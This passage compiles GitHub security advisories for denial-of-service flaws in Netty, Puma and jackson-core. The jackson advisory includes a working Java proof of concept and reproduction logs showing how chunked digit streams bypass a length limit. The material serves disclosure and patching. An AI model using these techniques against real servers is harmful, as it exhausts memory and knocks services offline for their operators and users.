HttpContentEncoder (the superclass of the production handler HttpContentCompressor) maintains a per-channel ArrayDeque<CharSequence> named acceptEncodingQueue that accumulates attacker-controlled data without any size limit. The queue is filled on the I/O thread for every inbound HTTP request and drained only when the application later writes a non-1xx response. This creates a resource exhaustion vulnerability when an attacker exploits HTTP/1.1 pipelining to flood the connection with requests faster than the application produces responses.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.15.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59899"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:49:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n`HttpContentEncoder` (the superclass of the production handler `HttpContentCompressor`) maintains a per-channel `ArrayDeque\u003cCharSequence\u003e` named `acceptEncodingQueue` that accumulates attacker-controlled data without any size limit. The queue is filled on the I/O thread for every inbound HTTP request and drained only when the application later writes a non-1xx response. This creates a resource exhaustion vulnerability when an attacker exploits HTTP/1.1 pipelining to flood the connection with requests faster than the application produces responses.",
"id": "GHSA-q4f6-jm68-57ww",
"modified": "2026-07-22T21:49:13Z",
"published": "2026-07-22T21:49:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-q4f6-jm68-57ww"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty: [HttpContentEncoder] Unbounded Per-Connection Queue Growth via HTTP/1.1 Pipelining Leads to Denial of Service"
}
GHSA-QPGP-93VX-G8V8
Vulnerability from github – Published: 2026-06-08 23:55 – Updated: 2026-06-08 23:55Impact
PROXY protocol support for Puma was added in version 5.5.0.
When PROXY protocol v1 support is enabled, Puma reads incoming bytes into an internal buffer. It waits for "\r\n" to determine whether a PROXY v1 line is present. If an attacker opens a TCP connection and continuously sends bytes without CRLF, Puma keeps appending to this pre-parse buffer.
This can cause unbounded in-process memory growth and additional CPU cost from repeatedly scanning the growing buffer for CRLF. A single, unauthenticated TCP connection can drive significant memory growth and may cause process/container OOM or degraded availability.
Only Puma servers using the following non-default config are affected:
set_remote_address proxy_protocol: :v1
Patches
Users should upgrade to versions 7.2.1 or 8.0.2.
Workarounds
- Disable PROXY protocol v1 parsing if it is not required:
ruby
# remove/comment this:
# set_remote_address proxy_protocol: :v1
- Restrict direct network access to Puma listeners using PROXY protocol:
- Only allow trusted load balancers/reverse proxies to connect.
- Block arbitrary client TCP access with firewall/security group rules.
Resources
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "puma"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "puma"
},
"ranges": [
{
"events": [
{
"introduced": "5.5.0"
},
{
"fixed": "7.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47736"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T23:55:44Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\n[PROXY protocol support for Puma](https://github.com/puma/puma/issues/2651) was added in version 5.5.0.\n\nWhen PROXY protocol v1 support is enabled, Puma reads incoming bytes into an internal buffer. It waits for \"\\r\\n\" to determine whether a PROXY v1 line is present. If an attacker opens a TCP connection and continuously sends bytes without CRLF, Puma keeps appending to this pre-parse buffer.\n\nThis can cause unbounded in-process memory growth and additional CPU cost from repeatedly scanning the growing buffer for CRLF. A single, unauthenticated TCP connection can drive significant memory growth and may cause process/container OOM or degraded availability.\n\n**Only Puma servers using the following non-default config are affected:**\n\n```ruby\n set_remote_address proxy_protocol: :v1\n```\n\n### Patches\n\nUsers should upgrade to versions 7.2.1 or 8.0.2.\n\n### Workarounds\n\n- Disable PROXY protocol v1 parsing if it is not required:\n\n ```ruby\n # remove/comment this:\n # set_remote_address proxy_protocol: :v1\n ```\n\n - Restrict direct network access to Puma listeners using PROXY protocol:\n - Only allow trusted load balancers/reverse proxies to connect.\n - Block arbitrary client TCP access with firewall/security group rules.\n\n### Resources\n- [HAProxy PROXY protocol specification](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-770: Allocation of Resources Without Limits or Throttling](https://cwe.mitre.org/data/definitions/770.html)\n- [Puma `set_remote_address` documentation](https://github.com/puma/puma/blob/master/lib/puma/dsl.rb)\n- [Puma client PROXY protocol parsing code](https://github.com/puma/puma/blob/master/lib/puma/client.rb)\n- [Puma constants, including `PROXY_PROTOCOL_V1_REGEX`](https://github.com/puma/puma/blob/master/lib/puma/const.rb)",
"id": "GHSA-qpgp-93vx-g8v8",
"modified": "2026-06-08T23:55:44Z",
"published": "2026-06-08T23:55:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/puma/puma/security/advisories/GHSA-qpgp-93vx-g8v8"
},
{
"type": "PACKAGE",
"url": "https://github.com/puma/puma"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/puma/CVE-2026-47736.yml"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47736"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Puma PROXY Protocol v1 Parser Allows Remote Memory Exhaustion "
}
GHSA-R7WM-3CXJ-WFF9
Vulnerability from github – Published: 2026-07-21 21:58 – Updated: 2026-08-03 20:30Summary
The fix released in jackson-core 2.18.6 and 2.21.1 for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit b0c428e6 (#1555) wired validateIntegerLength into a new _setIntLength helper and called it at every place where the integer portion of a number is decided (terminator byte arrived, . / e/E seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside MINOR_NUMBER_INTEGER_DIGITS, return NOT_AVAILABLE to caller".
As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows on every chunk, and validateIntegerLength is never invoked. The accumulator is only gated by maxStringLength (20 MiB default) — a ~20,000x amplification of the documented maxNumberLength (1000 default).
This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the fraction path is correct (see _finishFloatFraction at line 1834-1837 of NonBlockingUtf8JsonParserBase.java in 2.18.6, where _setFractLength(fractLen) IS called before the NOT_AVAILABLE return); the equivalent call is missing from every integer-digit path.
Affected versions
Verified on the patched releases:
- com.fasterxml.jackson.core:jackson-core 2.18.6
- com.fasterxml.jackson.core:jackson-core 2.21.1
Structurally identical code in tools.jackson.core 3.0.x / 3.1.x — same NonBlockingUtf8JsonParserBase class, same _setIntLength rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.
Affected code
src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java in 2.18.6 / 2.21.1.
Site 1 — _startPositiveNumber(int ch) lines 1320-1330:
if (outPtr >= outBuf.length) {
// NOTE: must expand to ensure contents all in a single buffer (to keep
// other parts of parsing simpler)
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr)
}
Site 2 — _finishNumberIntegralPart lines 1691-1727:
protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
int negMod = _numberNegative ? -1 : 0;
while (true) {
if (_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr + negMod)
}
int ch = getByteFromBuffer(_inputPtr) & 0xFF;
if (ch < INT_0) {
if (ch == INT_PERIOD) {
_setIntLength(outPtr+negMod); // <-- validated here
++_inputPtr;
return _startFloat(outBuf, outPtr, ch);
}
break;
}
if (ch > INT_9) {
if ((ch | 0x20) == INT_e) {
_setIntLength(outPtr+negMod); // <-- validated here
++_inputPtr;
return _startFloat(outBuf, outPtr, ch);
}
break;
}
++_inputPtr;
if (outPtr >= outBuf.length) {
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
}
_setIntLength(outPtr+negMod); // <-- validated here
_textBuffer.setCurrentLength(outPtr);
return _valueComplete(JsonToken.VALUE_NUMBER_INT);
}
The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length.
Compare with the fraction path that is correct
_finishFloatFraction lines 1827-1838:
while (loop) {
if (ch >= INT_0 && ch <= INT_9) {
++fractLen;
if (outPtr >= outBuf.length) {
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (_inputPtr >= _inputEnd) {
_textBuffer.setCurrentLength(outPtr);
_setFractLength(fractLen); // <-- VALIDATED
return JsonToken.NOT_AVAILABLE;
}
ch = getNextSignedByteFromBuffer();
}
...
}
Impact
Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping JsonFactory.createNonBlockingByteArrayParser() or createNonBlockingByteBufferParser()) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set StreamReadConstraints.builder().maxNumberLength(N) on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to maxStringLength (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.
The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser on complete input are not affected — those paths go through _setIntLength or ParserBase._reportTooLongIntegral correctly.
CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.
Proof of concept
Standalone PoC, no Maven required:
mkdir poc && cd poc
curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar
cat > PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;
public class PoC {
public static void main(String[] args) throws Exception {
StreamReadConstraints strict = StreamReadConstraints.builder()
.maxNumberLength(1000)
.build();
JsonFactory f = new JsonFactoryBuilder()
.streamReadConstraints(strict)
.build();
// Sanity: synchronous parser rejects 5000-digit int.
try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
while (p.nextToken() != null) { /* drive */ }
System.out.println("[-] BUG ABSENT: sync parser accepted");
return;
} catch (Exception e) {
System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
}
// Bug: async parser, chunked, no terminator.
JsonParser ap = f.createNonBlockingByteArrayParser();
ByteArrayFeeder feeder = (ByteArrayFeeder) ap;
byte[] preamble = "{\"v\":".getBytes("UTF-8");
feeder.feedInput(preamble, 0, preamble.length);
while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }
byte[] digits = new byte[16 * 1024];
for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));
for (int c = 0; c < 600; c++) {
feeder.feedInput(digits, 0, digits.length);
JsonToken t = ap.nextToken();
if (t != JsonToken.NOT_AVAILABLE) {
System.out.println("[-] unexpected token: " + t);
return;
}
}
System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000");
// Closing the number now finally triggers the validator.
feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
feeder.endOfInput();
try {
while (ap.nextToken() != null) { /* drive */ }
} catch (Exception e) {
System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]);
}
ap.close();
}
}
EOF
javac -cp jackson-core-2.18.6.jar PoC.java
java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC
Observed output against jackson-core-2.18.6:
[+] sync parser rejected 5000-digit int: StreamConstraintsException
[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000
[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)
Observed output against jackson-core-2.21.1: identical.
The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is maxStringLength = 20 MiB. With the strict policy declared as maxNumberLength = 1000, the parser permits 9830x more allocation than the policy allows. With maxStringLength left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of char[] heap (chars are 2 bytes each) before the validator finally fires on terminator/endOfInput(). Multiply by concurrent connections.
End-to-end reproduction through real HTTP
Supplements the standalone PoC with a running Spring Boot WebFlux server, driving the same bug through the actual reactor-netty + Jackson2JsonDecoder streaming-decode path that production reactive endpoints use.
Setup:
- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)
- jackson-databind 2.17.2, jackson-core overridden:
- VULN run: com.fasterxml.jackson.core:jackson-core:2.18.7 (latest published)
- PATCHED run: 2.18.8-SNAPSHOT built from the fix branch
- JVM: OpenJDK 17.0.18
- Server JsonFactory configured with StreamReadConstraints.builder().maxNumberLength(1000).build()
Endpoint under test exposes the Flux<DataBuffer> request body directly to
Jackson2JsonDecoder.decode(Flux, ResolvableType, ...) so the parser sees one
HTTP chunk per feedInput (the same pattern used for any
@RequestBody Flux<...> / streaming JSON decoder in WebFlux). A raw-socket
HTTP/1.1 chunked client streams {"v":1 then 250 chunks of 200 digit bytes
each (50,000 digits total) at 20ms intervals, then writes the closing }.
VULN — jackson-core 2.18.7:
[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting
[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:
HTTP/1.1 200 OK
ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:
Number value length (50000) exceeds the maximum allowed (1000, ...)
Server-side controller trace (250 DataBuffer arrivals elided):
[ctrl] DataBuffer arrived size=6 ms=39 <- '{"v":1'
[ctrl] DataBuffer arrived size=200 ms=42
...
[ctrl] DataBuffer arrived size=199 ms=5993
[ctrl] DataBuffer arrived size=1 ms=6518 <- closing '}'
[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...
Server held all 50,000 digit characters in _textBuffer for 6.5 seconds with
maxNumberLength=1000 declared. The validator never fires during streaming;
it only fires at value-completion when the closing } arrives.
PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):
[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe
[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream
Server-side controller trace:
[ctrl] DataBuffer arrived size=6 ms=129
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=145
[ctrl] DataBuffer arrived size=200 ms=146
[ctrl] DataBuffer arrived size=200 ms=147
[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)
Patched server raises StreamConstraintsException at 155ms after only 5
DataBuffers, exactly when the accumulated digit count crosses
maxNumberLength=1000. The connection is reset mid-stream rather than the
parser silently consuming the rest of the attacker's payload.
Side-by-side:
| Build | Chunks accepted before exception | Digits buffered | Time to detection |
|---|---|---|---|
| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator |
| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed |
Note on the default @RequestBody Mono<JsonNode> path: that path cannot
distinguish the two builds because Spring's decodeToMono joins all
DataBuffers into one before parsing. The exploitable shape is the
streaming-decode path (Flux<JsonNode> / @RequestBody Flux<...> /
WebSocket / SSE / any direct decoder.decode(Flux<DataBuffer>, ...) call),
which is also what Jackson2Tokenizer uses for any streaming JSON
deserialization in WebFlux and Quarkus reactive REST.
Suggested fix
Mirror the pattern already used in _finishFloatFraction. At every site that returns _updateTokenToNA() (or JsonToken.NOT_AVAILABLE) with _minorState = MINOR_NUMBER_INTEGER_DIGITS, call _setIntLength(outPtr + negMod) first. Concretely, the diff to NonBlockingUtf8JsonParserBase.java would be:
protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
int negMod = _numberNegative ? -1 : 0;
while (true) {
if (_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
+ _streamReadConstraints.validateIntegerLength(outPtr + negMod);
return _updateTokenToNA();
}
Note: _setIntLength itself can't be used as-is because it also assigns _intLength, and _intLength must not be set until the integer is truly complete (subsequent fraction handling reads _intLength). The minimal fix is to call only the validator, as shown.
Apply the same one-line insertion before each return _updateTokenToNA(); that exits with _minorState = MINOR_NUMBER_INTEGER_DIGITS. The sites are listed above (12 lines total).
Alternatively, a heavier refactor: also gate _textBuffer.expandCurrentSegment() calls inside the digit-accumulation loops on outPtr < maxNumberLength so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.
Credit
Reported by tonghuaroot (tonghuaroot@gmail.com). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.18.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:58:53Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: \"ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller\".\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) \u2014 a **~20,000x amplification** of the documented `maxNumberLength` (1000 default).\n\nThis is the same vulnerability class, same advisory wording (\"Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers\"), same parser class \u2014 just the streaming path the original fix didn\u0027t cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path.\n\n## Affected versions\n\nVerified on the patched releases:\n- `com.fasterxml.jackson.core:jackson-core` **2.18.6**\n- `com.fasterxml.jackson.core:jackson-core` **2.21.1**\n\nStructurally identical code in `tools.jackson.core` 3.0.x / 3.1.x \u2014 same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.\n\n## Affected code\n\n[`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1.\n\n### Site 1 \u2014 `_startPositiveNumber(int ch)` lines 1320-1330:\n\n```java\nif (outPtr \u003e= outBuf.length) {\n // NOTE: must expand to ensure contents all in a single buffer (to keep\n // other parts of parsing simpler)\n outBuf = _textBuffer.expandCurrentSegment();\n}\noutBuf[outPtr++] = (char) ch;\nif (++_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // \u003c-- no validateIntegerLength(outPtr)\n}\n```\n\n### Site 2 \u2014 `_finishNumberIntegralPart` lines 1691-1727:\n\n```java\nprotected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // \u003c-- no validateIntegerLength(outPtr + negMod)\n }\n int ch = getByteFromBuffer(_inputPtr) \u0026 0xFF;\n if (ch \u003c INT_0) {\n if (ch == INT_PERIOD) {\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n if (ch \u003e INT_9) {\n if ((ch | 0x20) == INT_e) {\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n ++_inputPtr;\n if (outPtr \u003e= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n }\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n _textBuffer.setCurrentLength(outPtr);\n return _valueComplete(JsonToken.VALUE_NUMBER_INT);\n}\n```\n\nThe pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 \u2014 every \"ran out of input mid-integer\" exit returns to the caller without validating the accumulator length.\n\n### Compare with the fraction path that is correct\n\n`_finishFloatFraction` lines 1827-1838:\n\n```java\nwhile (loop) {\n if (ch \u003e= INT_0 \u0026\u0026 ch \u003c= INT_9) {\n ++fractLen;\n if (outPtr \u003e= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n if (_inputPtr \u003e= _inputEnd) {\n _textBuffer.setCurrentLength(outPtr);\n _setFractLength(fractLen); // \u003c-- VALIDATED\n return JsonToken.NOT_AVAILABLE;\n }\n ch = getNextSignedByteFromBuffer();\n }\n ...\n}\n```\n\n## Impact\n\nReactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.\n\nThe synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected \u2014 those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly.\n\nCWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.\n\n## Proof of concept\n\nStandalone PoC, no Maven required:\n\n```\nmkdir poc \u0026\u0026 cd poc\ncurl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar\ncat \u003e PoC.java \u003c\u003c\u0027EOF\u0027\nimport com.fasterxml.jackson.core.*;\nimport com.fasterxml.jackson.core.async.ByteArrayFeeder;\n\npublic class PoC {\n public static void main(String[] args) throws Exception {\n StreamReadConstraints strict = StreamReadConstraints.builder()\n .maxNumberLength(1000)\n .build();\n JsonFactory f = new JsonFactoryBuilder()\n .streamReadConstraints(strict)\n .build();\n\n // Sanity: synchronous parser rejects 5000-digit int.\n try (JsonParser p = f.createParser(\"{\\\"v\\\":\" + \"1\".repeat(5000) + \"}\")) {\n while (p.nextToken() != null) { /* drive */ }\n System.out.println(\"[-] BUG ABSENT: sync parser accepted\");\n return;\n } catch (Exception e) {\n System.out.println(\"[+] sync parser rejected 5000-digit int: \" + e.getClass().getSimpleName());\n }\n\n // Bug: async parser, chunked, no terminator.\n JsonParser ap = f.createNonBlockingByteArrayParser();\n ByteArrayFeeder feeder = (ByteArrayFeeder) ap;\n\n byte[] preamble = \"{\\\"v\\\":\".getBytes(\"UTF-8\");\n feeder.feedInput(preamble, 0, preamble.length);\n while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }\n\n byte[] digits = new byte[16 * 1024];\n for (int i = 0; i \u003c digits.length; i++) digits[i] = (byte) (\u00271\u0027 + (i % 9));\n\n for (int c = 0; c \u003c 600; c++) {\n feeder.feedInput(digits, 0, digits.length);\n JsonToken t = ap.nextToken();\n if (t != JsonToken.NOT_AVAILABLE) {\n System.out.println(\"[-] unexpected token: \" + t);\n return;\n }\n }\n System.out.println(\"[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\");\n\n // Closing the number now finally triggers the validator.\n feeder.feedInput(\"}\".getBytes(\"UTF-8\"), 0, 1);\n feeder.endOfInput();\n try {\n while (ap.nextToken() != null) { /* drive */ }\n } catch (Exception e) {\n System.out.println(\"[*] late rejection on close: \" + e.getMessage().split(\"\\n\")[0]);\n }\n ap.close();\n }\n}\nEOF\njavac -cp jackson-core-2.18.6.jar PoC.java\njava -Xmx256m -cp jackson-core-2.18.6.jar:. PoC\n```\n\nObserved output against `jackson-core-2.18.6`:\n\n```\n[+] sync parser rejected 5000-digit int: StreamConstraintsException\n[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\n[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)\n```\n\nObserved output against `jackson-core-2.21.1`: identical.\n\nThe 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections.\n\n## End-to-end reproduction through real HTTP\n\nSupplements the standalone PoC with a running Spring Boot WebFlux server,\ndriving the same bug through the actual reactor-netty + Jackson2JsonDecoder\nstreaming-decode path that production reactive endpoints use.\n\nSetup:\n- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)\n- jackson-databind 2.17.2, jackson-core overridden:\n - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published)\n - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch\n- JVM: OpenJDK 17.0.18\n- Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()`\n\nEndpoint under test exposes the `Flux\u003cDataBuffer\u003e` request body directly to\n`Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one\nHTTP chunk per `feedInput` (the same pattern used for any\n`@RequestBody Flux\u003c...\u003e` / streaming JSON decoder in WebFlux). A raw-socket\nHTTP/1.1 chunked client streams `{\"v\":1` then 250 chunks of 200 digit bytes\neach (50,000 digits total) at 20ms intervals, then writes the closing `}`.\n\nVULN \u2014 jackson-core 2.18.7:\n```\n[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting\n[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:\nHTTP/1.1 200 OK\nERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:\n Number value length (50000) exceeds the maximum allowed (1000, ...)\n```\nServer-side controller trace (250 DataBuffer arrivals elided):\n```\n[ctrl] DataBuffer arrived size=6 ms=39 